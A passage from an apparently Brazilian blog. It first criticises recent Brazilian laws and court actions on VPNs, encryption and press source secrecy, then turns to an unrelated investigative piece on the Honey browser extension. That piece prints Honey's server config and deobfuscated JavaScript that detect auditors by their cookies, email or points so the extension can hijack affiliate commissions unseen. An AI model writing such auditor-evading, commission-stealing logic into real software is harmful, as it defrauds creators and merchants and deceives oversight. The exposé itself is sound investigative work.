Porque o que sobrou já é bastante coisa. A ISOC Brasil apontou que a majorante coloca o uso de VPN no mesmo patamar penal da majoração de roubo com arma de fogo. E uma carta aberta ao Senado, assinada por EFF, Projeto Tor, Artigo 19, Data Privacy Brasil e mais meia dúzia de entidades, explicou o óbvio pra quem é da área: proxy e VPN são infraestrutura padrão de segurança corporativa, recomendados por normas internacionais como a ISO/IEC 27001; anonimização de identificadores é função nativa de navegadores como Firefox e Brave; e sua empresa provavelmente te obriga a usar VPN pra trabalhar de casa. O Senado não acolheu. No dia 6 de agosto, o artigo virou lei — na tal cerimônia.

A frase da carta que deveria assombrar qualquer legislador: “precedentes jurídicos raramente permanecem restritos à hipótese que justificou sua criação”. Na formulação da carta, é a primeira vez que o direito penal brasileiro trata uma tecnologia neutra de segurança como, por si só, motivo de pena mais grave. Hoje a hipótese é crime contra criança — aquela que ninguém ousa questionar em público, e os autores do projeto sabiam disso. Amanhã é qualquer crime. O próximo deputado que quiser agravar furto “mediante uso de VPN” já tem o precedente pronto, votado e sancionado.

E repare na engenhosidade, igualzinha à da criptografia: ninguém proibiu VPN — uma proibição direta seria indefensável. Apenas se criou o mecanismo pra tratar usuário de VPN como suspeito qualificado. Pensa na execução: pra aplicar a salvaguarda do “uso lícito”, o Estado precisa primeiro saber que você usa VPN e depois determinar se o seu uso era lícito. Ou seja, todo usuário de ferramenta de privacidade vira, por padrão, objeto potencial de verificação. A salvaguarda não protege o usuário — autoriza a fiscalização dele.

E tem a ironia fina pra fechar: a carta dos 438 cientistas que mencionei na seção anterior alerta que verificação de idade se burla com VPN. A resposta do legislador brasileiro não foi repensar a verificação de idade. Foi deixar a VPN meio criminalizada. O cerco se fecha pelos dois lados, sempre com a mesma plaquinha de boa intenção pregada em cima.

Pra guardar: ninguém proibiu VPN no Brasil. Criou-se algo mais sutil: o primeiro precedente penal em que usar uma ferramenta neutra de privacidade pesa contra você. Hoje agrava crime contra criança. O precedente, esse, não tem dono.

E os criminosos de verdade?

Tem um contrassenso nessa história que quase ninguém comentou. A sanção contra o Discord caiu em seis dias, com potencial de R$ 50 milhões de multa por infração. E o que acontece com os autores do crime que motivou tudo isso?

O grupo de Naviraí era composto por cinco adolescentes de 13 a 17 anos e um jovem de 18. O líder investigado tem 14. Pela lei brasileira, só o de 18 responde como adulto, por homicídio qualificado. Os outros cinco entram no regime do ECA — o clássico, não o digital: medida socioeducativa de internação, com teto de três anos e soltura compulsória aos 21. O caso corre em sigilo e não sabemos as medidas aplicadas, mas o teto é esse, não importa a crueldade. O mentor intelectual do massacre de Suzano, com 10 mortos, tinha 17 anos e ficou internado — três anos, independentemente da contagem de corpos.

E tem uma ironia de calendário: em fevereiro de 2026 o Brasil sancionou a lei que tornou hedionda a indução online a suicídio e autolesão, com pena dobrada pra líderes de grupo. Pra adultos. Pros cinco adolescentes de Naviraí, investigados exatamente por isso, não muda nada: o teto continua sendo os três anos do ECA.

E segue assim por escolha, porque tentativa não faltou. Em março de 2026, o relator da PEC da Segurança Pública incluiu um referendo sobre a redução da maioridade penal pra 16 anos; o governo chamou a redução de “ineficaz e inconstitucional” e o trecho foi arrancado pra PEC passar — aprovada por 487 a 15 sem uma linha sobre o assunto. Em junho, a CCJ da Câmara aprovou a admissibilidade de outra PEC da redução, por 44 a 18, mas ela ainda precisa de 308 votos em dois turnos de plenário — exatamente o muro onde a versão de 2015 morreu. Até a saída intermediária empaca: o PL 1.473/2025, que subiria a internação máxima de 3 pra 5 anos (10 pra crimes violentos), passou no Senado em outubro de 2025 e dorme na Câmara até hoje.

Enquanto isso, o crime organizado faz aritmética. Facções recrutam adolescentes de propósito, porque sabem que o ECA protege o executor: nos ataques de facções no Ceará, adultos pagavam de R$ 1.000 a R$ 5.000 por atentado pra adolescentes tocarem fogo em veículos — o mandante não se expõe, o executor não vai pra prisão. O grupo de Naviraí é a versão digital da mesma lógica: um líder de 14 anos coordenando crimes que, se cometidos por um adulto, dariam décadas de cadeia.

E o Brasil virou exceção até na vizinhança. A Argentina aprovou em fevereiro a redução de 16 pra 14 anos. A Suécia, de todos os países, baixou pra 13 anos em crimes graves a partir de julho — depois que gangues passaram a recrutar crianças pelo Snapchat pra atentados justamente porque elas não podiam ser processadas. Inglaterra pune a partir dos 10 (embora a própria Ordem dos Advogados de lá queira subir pra 14), a maioria dos estados americanos transfere adolescentes de 14 pra vara criminal em homicídio, Portugal pune aos 16.

Pra constar, o outro lado existe: a UNICEF se posicionou contra a redução, e os dados de reincidência são desconfortáveis pros dois lados — ~43% depois da internação, ~70% depois da prisão comum. Se é pra debater o modelo, debata. O que não dá é o resultado atual: uma lei nova conseguiu em seis dias tirar do ar um recurso usado por milhões de pessoas inocentes, enquanto o sistema que pune os autores do crime não sai do lugar há trinta. A gente pune o cano porque o cano é quem está ao alcance.

Pra guardar: seis dias pra sancionar a plataforma que milhões de inocentes usam; trinta anos sem mexer no teto de quem cometeu o crime.

Enquanto isso, no STF: o sigilo da fonte furado

Se fosse só o Discord, dava pra chamar de acidente regulatório. Mas na mesma semana, outro pilar caiu.

Desde novembro de 2025, o jornalista Luís Pablo, do Maranhão, publicava reportagens sobre o uso de um carro oficial do TJ-MA pelo ministro Flávio Dino e familiares. Em março, Alexandre de Moraes autorizou busca e apreensão contra o jornalista — numa decisão que citava o inquérito das fake news, o que a assessoria do STF depois negou. Celulares, notebook e pen drive apreendidos. Em abril, o equipamento foi devolvido, mas a análise forense continuou.

No dia 11 de agosto, a PF cumpriu mandados contra Raimundo Cutrim, ex-secretário de Segurança do Maranhão — identificado como a fonte do jornalista. Como chegaram nele? Pela análise dos dispositivos apreendidos do jornalista.

Entendeu o mecanismo? O art. 5º, XIV da Constituição protege o sigilo da fonte, e o jornalista pode se recusar a revelar — como ele fez, ficando em silêncio no depoimento. Então não perguntaram. Apreenderam o material de trabalho, leram tudo, e identificaram a fonte pelas costas. A constitucionalista Vera Chemin resumiu na CNN: “não se pode violar o sigilo para depois verificar se houve um crime ou não”.

O próprio STF já decidiu isso, e mais de uma vez. Na ADPF 601, em 2019, Gilmar Mendes protegeu o Glenn Greenwald na Vaza Jato com uma frase que deveria estar emoldurada: o sigilo da fonte “impossibilita que o Estado utilize medidas coercivas para constranger a atuação profissional e devassar a forma de recepção e transmissão daquilo que é trazido a conhecimento público”. “Devassar a forma de recepção” é literalmente o que a análise forense dos dispositivos fez.

Pra constar, a defesa do STF existe e merece ser apresentada: a investigação apura monitoramento ilegal de um ministro e da família dele, com placas, nomes de seguranças e imagens clandestinas de crianças publicados; a PF aponta que Cutrim usou cargo público pra acessar sistemas restritos; e há uma transferência de R$ 100 mil de um segundo investigado pro jornalista, cuja natureza ninguém provou ainda. Os autos correm em sigilo, então nenhuma das versões é verificável de fora. É possível que haja crime ali. Mas é exatamente por isso que a ordem importa: primeiro se investiga com meios lícitos, depois — talvez, em casos excepcionalíssimos — se discute exceção. Inverter essa ordem transforma a exceção em método.

A reação foi a de sempre, só que mais alta: Abraji, ANJ, ABERT, SIP internacional, e editoriais dos três maiores jornais do país no mesmo dia. O Estadão escreveu que o inquérito das fake news “foi convertido em instrumento de intimidação”. Miro Teixeira, o advogado que derrubou a Lei de Imprensa da ditadura em 2009, disse que o STF atua “momentaneamente como tribunal de exceção”.

Pra guardar: o sigilo da fonte não foi revogado — foi contornado. Ninguém coagiu o jornalista; apreenderam os dispositivos dele e a fonte apareceu na perícia. A garantia segue existindo, mas só no papel.

Conclusão: estamos virando um país censurado?

O padrão é o que me preocupa, não os episódios isolados. Em 2024, o X ficou um mês fora do ar no Brasil por ordem monocrática. Em 2025, caiu o art. 19 do Marco Civil e a responsabilidade das plataformas virou proativa. Em 2026, a ECA Digital entregou ao Executivo um pacote de obrigações tão intrusivo que, na primeira vez usado, derrubou um recurso criptografado no país inteiro — enquanto o líder de 14 anos do grupo que motivou a sanção enfrenta, no máximo, três anos de internação. E o sigilo da fonte jornalística foi furado por via forense, com aval do mesmo tribunal que o consagrou.

Cada degrau dessa escada tem uma justificativa simpática, e é exatamente por isso que a escada é perigosa. Ninguém constrói infraestrutura de censura dizendo que é pra censura. Constrói-se pra proteger crianças, pra proteger ministros, pra proteger a democracia.

O problema é que infraestrutura não tem dono moral. A régua que hoje mede o Discord mede qualquer aplicativo amanhã. A fiscalização que hoje exige transmissão aberta pra proteger a Lívia vai exigir transmissão aberta pra qualquer coisa que o governo de plantão queira ver. A quebra de sigilo que hoje pega a fonte do caso Dino pega qualquer fonte, de qualquer caso, contra qualquer um.

E o detalhe mais revelador da semana: das duas plataformas que o Ministério da Justiça pediu pra investigar, a sancionada foi a que tem escritório, CNPJ e advogados no Brasil — a que coopera. A mensagem que o regulador mandou pro mercado foi invertida: cooperar te expõe; ser opaco te protege. Os adolescentes do grupo neonazista de Naviraí não vão pra lugar nenhum — vão pro Telegram, que ninguém tocou.

E tem o traço mais brasileiro de todos nesse arranjo: ficou impossível estar em dia com a lei. Se você protege seus usuários de verdade, com criptografia de ponta a ponta, descumpre a ECA Digital. Se cumpre a ECA Digital, abre os dados dos seus usuários e descumpre a LGPD. Se coleta documento pra verificar idade, vira alvo de vazamento e de sanção; se não coleta, vira alvo de fiscalização. Não existe configuração segura.

E isso é tradição nossa: leis tão amplas, com tantas exceções empilhadas, que qualquer um vira infrator por acidente em qualquer esquina. Quando todo mundo está sempre devendo, a lei deixa de ser regra e vira opção — o poder real migra pra quem escolhe contra quem aplicar. Foi o que aconteceu essa semana: duas plataformas investigadas, uma punida. A que tinha endereço aqui.

Proteger crianças é dever civilizatório inegociável. Investigar crime contra ministro é obrigação do Estado. A pergunta que fica não é se essas causas são legítimas — são. É se o Brasil ainda consegue perseguir causas legítimas sem demoliar as garantias que tornam o país uma democracia liberal: privacidade real, criptografia funcional, imprensa com fonte protegida. Essa semana, a resposta foi não três vezes seguidas.

Não é censura de regime. É pior, de certa forma: é censura por acumulado, votada, sancionada e aplaudida, cada tijolo com uma plaquinha de boa intenção. E a gente só percebe o muro quando ele já está em volta.

Agora imagina descobrir que um dos seus patrocinadores estava plantado no checkout dos seus espectadores, trocando a sua etiqueta pela dele e embolsando essas comissões. Milhões de vezes. Por anos.

Foi isso que o MegaLag mostrou em dezembro de 2024, expondo as práticas do Honey, aquela extensão de cupons que o PayPal comprou por 4 bilhões de dólares e que prometia “achar todos os cupons de desconto da internet” pra você. Eu acompanho o canal dele desde esse vídeo e virei fã na hora: é jornalismo técnico com demonstração ao vivo, código e packet capture, não só denúncia no grito.

Um ano e meio depois, a história só engrossou: o PayPal tentou descartar tudo como fake news, o MegaLag voltou com evidência técnica irrefutável, a Rakuten e outras redes de afiliados cortaram o Honey publicamente, e o caso virou uma ação coletiva que acabou de sobreviver ao pedido de extinção (o motion to dismiss americano).

A linha do tempo dos vídeos, que são as fontes primárias deste artigo:

1. Exposing the Honey Influencer Scam, 21 de dezembro de 2024
2. Exposing Honey’s Evil Business Model (PART 2), 22 de dezembro de 2025
3. The Honey Scam is Worse Than I Thought, 30 de dezembro de 2025
4. Honey Gets Terminated as Lawsuits Proceed, 11 de agosto de 2026 (ontem)

Vou contar a história em três atos: o truque do último clique contra os criadores, o modelo de extorsão contra as lojas, e o dispositivo de fraude que enganava os auditores das redes. O miolo técnico, o que interessa pra nós desenvolvedores, está no terceiro ato. Mas sem os dois primeiros ele não faz sentido.

O que o Honey deveria ser

O pitch pro consumidor era irresistível: uma extensão gratuita que, na hora do checkout, testa todos os cupons de desconto conhecidos e aplica o melhor no seu carrinho. “É literalmente dinheiro de graça.” E não, eles juravam, não vendiam seus dados.

Pra criadores de conteúdo, o Honey era um patrocinador generoso. O MegaLag mapeou cerca de 5.000 vídeos patrocinados em mais de 1.000 canais, somando quase 8 bilhões de views. O MrBeast foi o primeiro grande nome, e a ex-presidente do Honey, Joanne Bradford, se gabava: “todo garoto nos EUA conhece o Honey”.

Criador ganhava dinheiro fácil recomendando uma ferramenta que parecia útil. A ironia, que o primeiro vídeo expõe com requinte: esses mesmos criadores estavam instalando no público deles, o público que mais clicava nos links de afiliado deles, a ferramenta que roubava essas mesmas comissões.

Pra lojas e marketplaces, o Honey se vendia como ferramenta de conversão: menos carrinho abandonado, ticket médio maior. E tinha um pitch extra, mais escuso, que aparece no FAQ de parceiros e num podcast do próprio Honey: a loja controlava quais cupons ficavam visíveis. Ou seja, pro consumidor o discurso era “achamos todos os cupons”, e pra loja era “você impede o consumidor de achar os cupons bons”. Os dois discursos eram oficiais.

Afiliados em 30 segundos

Pra entender o crime, precisa entender a vítima. Marketing de afiliados funciona assim: um criador coloca um link com uma tag de rastreamento (tipo ?tag=shortcircuit num link da Newegg). Você clica, a loja grava um cookie com validade de uns 30 dias, e se você comprar qualquer coisa nesse período, a comissão vai pra quem gerou aquele clique.

O MegaLag tem uma analogia boa pra isso: é como o vendedor de uma loja de departamentos que te atende, te dá um cartão de indicação com o nome dele, e o caixa sabe de quem foi a venda. O cookie de afiliado é a versão digital desse cartão.

O padrão da indústria é o last-click attribution: o último clique leva tudo. Não é o sistema mais justo do mundo, mas é o mais simples de implementar. E é aqui que mora o problema: quem aparece no último segundo antes do pagamento sempre vence. E quem aparece no último segundo? Uma extensão instalada no seu navegador, que acorda exatamente na tela de checkout. É como se um segundo vendedor, que não te atendeu em momento nenhum, arrancasse o cartão da sua mão na fila do caixa e entregasse o dele no lugar.

O que o Honey realmente fazia

O primeiro vídeo documenta os cenários, todos variações do mesmo truque:

• O popup de cupom: você clica em “aplicar descontos”, o Honey abre uma aba minúscula e escondida que simula um clique de afiliado com a tag do PayPal, e fecha sozinha. Seu cookie do criador é substituído. Comissão roubada, mesmo quando o Honey não acha cupom nenhum.
• O Honey Gold: quando não existe cupom, aparece um popup oferecendo pontos de cashback. Clicou, mesma coisa: último clique, comissão do PayPal.
• O popup vazio: sem cupom, sem cashback, o Honey ainda abre um popup pra você clicar em “got it”. Clicou pra dispensar? Já era, o clique valeu.
• O botão PayPal: num checkout que já tem opção de pagar com PayPal, o Honey oferece um botão “check out with PayPal”. Qualquer desculpa vale pra conseguir o último clique.

O experimento que o MegaLag fez com a NordVPN deixa tudo concreto: comissão de 40% por venda. Duas compras feitas pelo próprio link de afiliado dele. Sem o Honey: $35 de comissão. Com o Honey Gold ativado: $0. A parte dele, como “consumidor”, do roubo da própria comissão? 89 pontos, ou seja, 89 centavos de dólar. O Honey ficou com 97,5% do valor que era dele por direito.

Pra guardar: mesmo quando você clica no link de afiliado do criador, a comissão vai pro PayPal se o Honey aparecer no checkout. No teste da NordVPN, dos $35 de comissão, o “benefício” que sobrou pro usuário foi 89 centavos.

E isso não era hipótese, acontecia em escala industrial. O exemplo central do primeiro vídeo usa a tag de afiliado do Linus Tech Tips na Newegg: o Linus Media Group promoveu o Honey por anos, em algo como 160 segmentos patrocinados, e encerrou a parceria em 2022 ao perceber que o Honey sobrescrevia o link de afiliado deles mesmo quando não encontrava desconto nenhum. Repare na armadilha demográfica: quem instala extensão de cupom é exatamente o espectador que caça preço e clica em link de afiliado. O Honey pagava o patrocínio uma vez e passava a taxar as comissões futuras do criador pra sempre.

Até aqui, a vítima era o criador. O segundo vídeo mostra o outro lado do balcão: as lojas.

O modelo de negócio contra as lojas

O arquivo supported domains da extensão listava mais de 180.000 lojas, contra “30.000 participantes” no marketing. A análise da planilha (um desenvolvedor rastreou tudo e publicou) mostrava 146.000 lojas sem nenhum vínculo, incluídas presumivelmente sem consentimento.

Tem mais: cupom digitado manualmente no checkout era enviado pros servidores do Honey antes de pedir consentimento. E códigos privados vazavam pra base pública: desconto militar, cupom de funcionário, um código de $75 sem valor mínimo que dava mercadoria de graça ilimitada.

O estrago era mensurável. Um lojista relatou prejuízo de $100 mil depois que o código exclusivo do podcast que ele patrocinava vazou pra base do Honey, e ele só percebeu meses depois, quando a comissão de afiliado do podcast já tinha ido embora faz tempo. O Chip, CEO da Made In Cookware, resumiu o efeito: “se o Honey vai ficar com 10% da sua receita o tempo todo, no fim das contas você é obrigado a subir os preços.”

E quando um lojista pedia pra sair, a resposta oficial era “não removemos códigos sem um relacionamento comercial”, o que o MegaLag chama, com precisão, de extorsão econômica: as lojas não pagam pra entrar, pagam pra sair.

Stand down: a regra que o Honey fingia cumprir

Contra tudo isso, a defesa do PayPal sempre foi a mesma: “o Honey segue as regras e práticas da indústria, incluindo o last-click”. Era uma saída retórica esperta, porque dá pra discutir se o last-click é justo. O que vem a seguir é diferente em natureza: prova de que o Honey sabia que estava errando e construiu um sistema pra não ser pego.

Pra entender, um pouco de contexto. As redes de afiliados (Rakuten Advertising, CJ, Impact, Awin) sabem desde 2002 que extensões de navegador são parasitas naturais desse ecossistema. Então criaram uma regra contratual chamada stand down: se o usuário já chegou à loja pelo link de outro afiliado, a extensão deve se desativar e não interferir. Ponto. Está escrito nos contratos. A política da Rakuten, por exemplo, diz que o publisher deve “se retirar e não exibir nenhuma forma de slider ou popup” quando outro afiliado já referenciou o usuário, e “não pode forçar cliques nem fazer cookie stuffing”.

E o Honey cumpria. Tecnicamente. Quando testado.

Aqui chegamos no coração do terceiro vídeo, o que o MegaLag chama de Cookie Gate, e a analogia que ele usa é precisa: o Dieselgate da Volkswagen. A VW programava os carros pra reduzir emissões só durante os testes de laboratório. O Honey programava a extensão pra respeitar o stand down só quando detectava que o usuário provavelmente era um auditor.

Pra guardar: stand down é obrigação contratual desde 2002, não cortesia. Se o usuário chegou à loja pelo link de outro afiliado, a extensão tem que se retirar. O Honey se retirava só quando o usuário cheirava a auditor.

A evidência: ssd.json, linha por linha

Depois que o PayPal comprou o Honey, a extensão foi reescrita e as regras passaram a vir em texto claro de um servidor. Isso permitiu ao MegaLag, e ao Ben Edelman, pesquisador de segurança que trabalhou no caso de fraude de afiliados do eBay nos anos 2000 e verificou tudo independentemente (análise completa dele aqui), expor o mecanismo inteiro.

Primeiro ponto arquitetural: as regras de stand down moram na nuvem, não na extensão. A extensão busca dois arquivos JSON dos servidores do Honey e verifica atualizações a cada hora: standdown-rules.json (as regras normais) e ssd.json (as regras de selective stand down). Ou seja: o PayPal podia mudar o comportamento de ~14 milhões de usuários em uma hora, sem atualização de extensão, sem revisão da Chrome Web Store, sem ninguém ver.

Segundo: as regras normais já eram uma piada. O temporizador de stand down, o tempo em que o Honey respeita o cookie do afiliado original, era de 3.600 segundos. Uma hora. Clicou no link do seu YouTuber favorito de manhã, comprou à tarde, o Honey já podia agir de novo. E um arquivamento de 2023 da Wayback Machine mostra que já foi de 360 segundos. Seis minutos. Como o MegaLag diz, ele leva mais de seis minutos só pra digitar o cartão de crédito. Nenhuma rede de afiliados define prazo de expiração. O Honey inventou um.

Terceiro, o prato principal. Este é o ssd.json capturado em 22 de outubro de 2025 (comentários meus):

{"ssd": {
  "base": {
    "gca": 1,      // checar cookie de console de afiliados
    "bl": 1,       // checar blacklist no servidor
    "uP": 65000,   // mínimo de pontos pra IGNORAR o stand down
    "adb": 26298469858850
  },
  // domínios onde procurar cookies de "insider da indústria":
  "affiliates": ["https://www.cj.com", "https://www.linkshare",
                 "https://www.rakuten.com", "https://ui.awin.com",
                 "https://www.swagbucks.com"],
  "LS": { "uP": 5001 },  // exceção pra Rakuten (antiga LinkShare)
  "PAYPAL": { "uL": 1, "uP": 5000001, "adb": 26298469858850 }
  },
  "ex": {  // exceções por loja (IDs internos do Honey)
    "7555272277853494990": { "uP": 5001 },                         // TJ Maxx
    "7394089402903213168": { "uL": 1, "adb": 120000, "uP": 1001 }, // Booking.com
    "243862338372998182": { "uL": 0, "uP": 100000 },               // Kayo Sports
    // cookies procurados, na MESMA ORDEM dos domínios acima:
    "GA": ["CONTID", "s_vi", "_ga", "networkGroup", "_gid"]
  }
}

Vamos decodificar. Quando a extensão detecta que você clicou num link de afiliado, ela consulta essas regras antes de decidir se obedece o stand down:

• uL (user logged in): você precisa estar logado numa conta Honey.
• uA (user account age): sua conta precisa ter uma idade mínima, 30 dias, em milissegundos, “por algum motivo”, como nota o MegaLag. Conta nova é o padrão de quem testa extensão pra auditoria.
• uP (user points): você precisa ter acumulado um mínimo de pontos de cashback. Na configuração atual: 65.000 pontos. Como 1.000 pontos valem $10 em vale-compras, isso exige $650 de ganho acumulado, praticamente nenhum usuário real, e com certeza nenhum auditor com conta de teste.
• bl (blacklist): o servidor pode marcar seu ID, cookie ou IP (quem já reclamou do Honey, por exemplo) e te tratar como “alto risco”.
• gca: a mais incriminadora de todas, e merece parágrafo próprio.

Se você passa em todos os filtros, o sistema te classifica como consumidor legítimo e o Honey ignora o stand down, rouba a comissão. Se falha em qualquer um, te classifica como possível auditor e o Honey se comporta direitinho. O Edelman resume: “o Honey respeita o stand down, mas só às vezes. E esse ‘às vezes’ é previsível.” Determinístico, na verdade: mesmas condições, mesmo resultado, reproduzível.

O gca: procurando cookie de auditor

O gca é o equivalente a revistar seu bolso procurando crachá de fiscal. As listas affiliates e GA são pareadas posicionalmente: no domínio cj.com, procure o cookie CONTID; no linkshare, o s_vi; no ui.awin.com, o networkGroup. O código, recuperado via sourceMappingURL do app iOS que vazou praticamente sem ofuscação:

m = p.ex && p.ex.GA || []
g = i().map(p.ssd && p.ssd.affiliates, (function(e) {
    return f += 1, u.A.get({
        name: m[f], // nome do cookie vindo do array GA
        url: e      // domínio a ser verificado
    }).then((function(e) {
        e && (o.gca = 0) // achou o cookie: gca = 0, entra em modo compliance
    }))

Se você tem cookie de login do painel de afiliados da CJ, da Rakuten ou da Awin, ou seja, se você trabalha na indústria, o Honey respeita o stand down em tudo, sempre, não importa o link. O MegaLag descobriu isso por acidente, testando a própria extensão que ele construiu (a Cookie Guard): logou na conta de afiliado dele da CJ numa aba, e de repente o Honey virou um anjo.

E tem um detalhe cínico no design: domínios e nomes de cookie ficam em duas listas separadas em vez de pares nome-valor. Como nota o Edelman, o efeito é dificultar que alguém olhando o arquivo perceba a relação entre eles.

O Edelman é categórico sobre o que isso significa: não existe nenhuma razão legítima pra uma extensão de cupons verificar se você logou num painel de afiliados. A única função é se esconder de quem fiscaliza. E quem se esconde sabe que está fazendo algo proibido.

Os outros truques: email “test”, killswitch e eBay

Tem mais duas pérolas no código. A extensão escaneia seu endereço de email procurando a palavra “test”. Achou, modo compliance:

if (r.email && r.email.match("test") && (o.bl = 0), !r.isLoggedIn || t) {

E existe um killswitch mestre no servidor: a extensão consulta periodicamente uma URL, e dependendo da resposta o sistema SSD inteiro liga ou desliga:

return e.next = 7, fetch("".concat("https://s.joinhoney.com", "/ck/alive"));

c = S().then((function(e) {
    e && "alive" === e.is && (o.bl = 0)
}))

Um flip no servidor e 14 milhões de extensões entram em modo compliance instantaneamente. Útil, por exemplo, no dia em que uma auditoria grande for anunciada.

E o eBay? O eBay tem tratamento VIP, direto no código: enquanto o stand down normal dura uma hora, o do eBay dura 86.400 segundos (24 horas), e a lógica SSD é explicitamente desativada pra domínios eBay:

"regex": "^https?\\:\\/\\/rover\\.ebay((?![\\?\\&]pub=5575133559).)*$",
"provider": "LS",
"overrideBl": true,
"ttl": 86400

a = "ssd" === r && !/ebay/.test(p);

Por quê? Porque em 2008 o eBay processou civil e criminalmente seus dois maiores afiliados, Shawn Hogan e Brian Dunning, que receberam mais de $20 milhões em 18 meses com esquemas de cookie stuffing, e os dois foram presos. O próprio Edelman ajudou a pegá-los. O Honey sabia exatamente com quem não devia brincar. Todo o resto do mercado, aparentemente, era presa fácil.

A telemetria: a prova que se autodocumenta

A parte que me deixou de queixo caído: desde o primeiro dia, o defeat device (o “dispositivo de fraude”, no jargão do Dieselgate) registrava cada decisão que tomava. Quando a extensão decide respeitar o stand down, ela manda telemetria com "method":"suspend" e um state dizendo exatamente qual regra disparou, "uP:5001", "gca", "ssd", junto com o link de afiliado original, que frequentemente contém o ID e às vezes o nome do afiliado prejudicado.

Em algum lugar nos servidores do PayPal existe um registro detalhado de cada comissão que esse sistema ajudou a roubar. O MegaLag fecha o quarto vídeo pedindo que as redes exijam esses dados e cobrem o reembolso. É difícil discordar.

Como o MegaLag provou na extensão pública

Um detalhe de engenharia que merece respeito. Depois do primeiro vídeo, o PayPal subiu o limiar base pra 65.000 pontos, na prática desativando o mecanismo pra quase todo mundo e limitando o comportamento suspeito. Só que quem editou o ssd.json esqueceu a exceção da Rakuten: "LS": {"uP": 5001}.

O MegaLag fez o que ele chama de “uma maratona de compras dolorosamente cara” até passar de 5.000 pontos e reproduziu a fraude na extensão pública, intacta, sem modificar uma linha. (O Edelman fez mais simples: interceptou a resposta do servidor com o Fiddler e mentiu o próprio saldo de pontos. O código dele está no artigo linkado acima.)

A reescrita do PayPal

A genealogia do sistema, reconstruída pelo MegaLag com ~300 builds arquivados da extensão desde 2014:

• Outubro de 2017: o SSD aparece pela primeira vez, na versão 10.5.2, ainda sob os fundadores Ryan Hudson e George Ruan, mas criptografado, embaralhado, ilegível pra quem encontrasse. O pesquisador Wladimir Palant já tinha documentado em 2020 que o Honey escondia trechos do próprio código.
• Março de 2021: sob o PayPal, versão 13.1.0, o sistema inteiro foi reconstruído. As regras foram reestruturadas num formato novo e passaram a morar em texto claro nos servidores do PayPal. Foi essa reescrita descuidada que expôs tudo.

Guarde essa informação e compare com a declaração oficial do PayPal depois que a casa caiu:

“O código causador desse comportamento foi identificado e não tem mais impacto. O código foi implementado antes da aquisição pelo PayPal e aparentemente afeta menos de 0,1% do tráfego do Honey.”

— PayPal ao Hello Partner, janeiro de 2026

O MegaLag chama isso do que é: mentira. Você não reconstrói um sistema do zero, ajusta as regras dele ano após ano, e depois alega que não sabia que ele existia.

A cronologia entrega: o MegaLag avisou o PayPal pedindo comentário em 18 de dezembro de 2025; chamaram as acusações de “imprecisas” e mandaram os advogados ameaçarem ele. A Rakuten desligou o Honey da rede em 12 de janeiro de 2026. O defeat device foi desativado em 13 de janeiro, um dia depois, quase um mês após o aviso. E o “0,1% do tráfego” é retórica vazia: as regras moram no servidor, então a abrangência sempre foi ajustável remotamente. Nas regras de 2023, o alvo era praticamente todo mundo.

As consequências

Depois do Cookie Gate, a fila andou:

• Rakuten Advertising (12 de janeiro de 2026): terminou o Honey da rede inteira, mais de 2.000 lojas, incluindo Walmart, Lego, Sephora, Newegg, Uniqlo e Samsung. Detalhe sórdido: emails internos que vieram a público no processo mostram que a Rakuten sabia das violações de stand down desde julho de 2020 e manteve o Honey mesmo assim, e o PayPal ainda respondeu que as políticas de stand down eram “exagero”. Em maio de 2026 a Rakuten readmitiu o Honey discretamente, depois de publicar um SDK de stand down de código aberto que o Honey implementou.
• Impact (16 de janeiro): removeu o Honey do marketplace de descoberta e suspendeu a conta, confirmando violação das “exigências universais de stand down”.
• Awin (21 de janeiro): a maior rede afetada, com mais de 16.000 lojistas. Confirmou “violações das nossas políticas de publisher”, suspendeu pagamentos e impôs um plano de remediação que inclui dar às redes acesso ao código-fonte do Honey.
• Google: em março de 2025 a Chrome Web Store passou a exigir “benefício direto e transparente ao usuário” pra qualquer extensão que injete links de afiliado. O jeitinho do Honey foi ativar cashback de 0,1% a 1% em quase todas as lojas parceiras. Tecnicamente um benefício, na prática troco de bala.
• O mercado respondeu: o Honey perdeu cerca de 7 milhões de usuários (de 20 milhões pra 14), mais de 7.000 lojas (de ~35.000 pra ~28.000), e a base de cupons encolheu de ~90.000 pra ~50.000 códigos. A Apple, que sozinha gerava mais tráfego monetizável que as 27.000 menores lojas juntas, caiu fora.

A ação coletiva

Aqui o Davi encontra o Golias no tribunal. Dias depois do primeiro vídeo, em 29 de dezembro de 2024, a Wendover Productions (do Sam Denby) entrou com a primeira ação; o Devin Stone, do LegalEagle, que é advogado de verdade, organizou o esforço, e umas vinte firmas abriram ações parecidas em vários estados, incluindo o GamersNexus como autor principal de uma delas. Os casos foram consolidados no distrito norte da Califórnia: In re PayPal Honey Browser Extension Litigation, caso 5:24-cv-09470-BLF, juíza Beth Labson Freeman.

As acusações na petição atual: enriquecimento sem causa, interferência intencional em relações contratuais e em vantagem econômica prospectiva, violação do Computer Fraud and Abuse Act (a lei anti-hacking americana), da lei de acesso indevido a dados da Califórnia, e das leis de concorrência desleal da Califórnia e de Washington.

A cronologia processual é uma novela:

• Novembro de 2025: o PayPal tentou forçar arbitragem e perdeu. Semanas depois, a juíza Freeman rejeitou a primeira petição, com permissão pra emendar, porque os contratos de afiliado eram com as lojas, não com o PayPal, e a simulação de Monte Carlo que os autores usaram pra estimar o dano não convenceu. O Ryan Hudson tuitou “Case dismissed” fazendo graça. O Hello Partner, publicação da indústria que tinha o Honey como patrocinador master da conferência deles, correu pra publicar “o que o MegaLag errou”.
• Janeiro de 2026: a segunda petição chegou com 101 páginas, dez autores nomeados, os contratos reais das lojas, evidência de compras-teste e, crucialmente, as descobertas do Cookie Gate incorporadas. A página 65 descreve o dispositivo de fraude em detalhe: “o PayPal criou vários métodos pra ignorar ou contornar os protocolos de stand down”, incluindo a detecção de visita a sites de redes de afiliados, que a petição chama de “a revelação mais gritante da má intenção do PayPal”.
• 4 de junho de 2026: segunda audiência. A juíza avisou o advogado do PayPal, Richard Jacobson, o mesmo que assinou a notificação extrajudicial contra o MegaLag, que ele tinha “uma batalha difícil pela frente”. Quando a defesa argumentou que IDs de afiliado são “só sequências curtas de números e letras”, sem valor intrínseco, a juíza respondeu que dá pra dizer o mesmo de uma nota de dólar. Jacobson: “não sei como responder a isso.”
• 22 de junho de 2026: o pedido de extinção foi negado integralmente. Todas as acusações sobreviveram. O caso agora entra na fase de produção de provas (o discovery americano): documentos internos, comunicações, depoimentos, possivelmente dos fundadores e dos engenheiros do PayPal. Julgamento, se houver, lá pro fim de 2027. O palpite do MegaLag, e o meu também: o PayPal vai tentar acordo pra enterrar esses depoimentos.

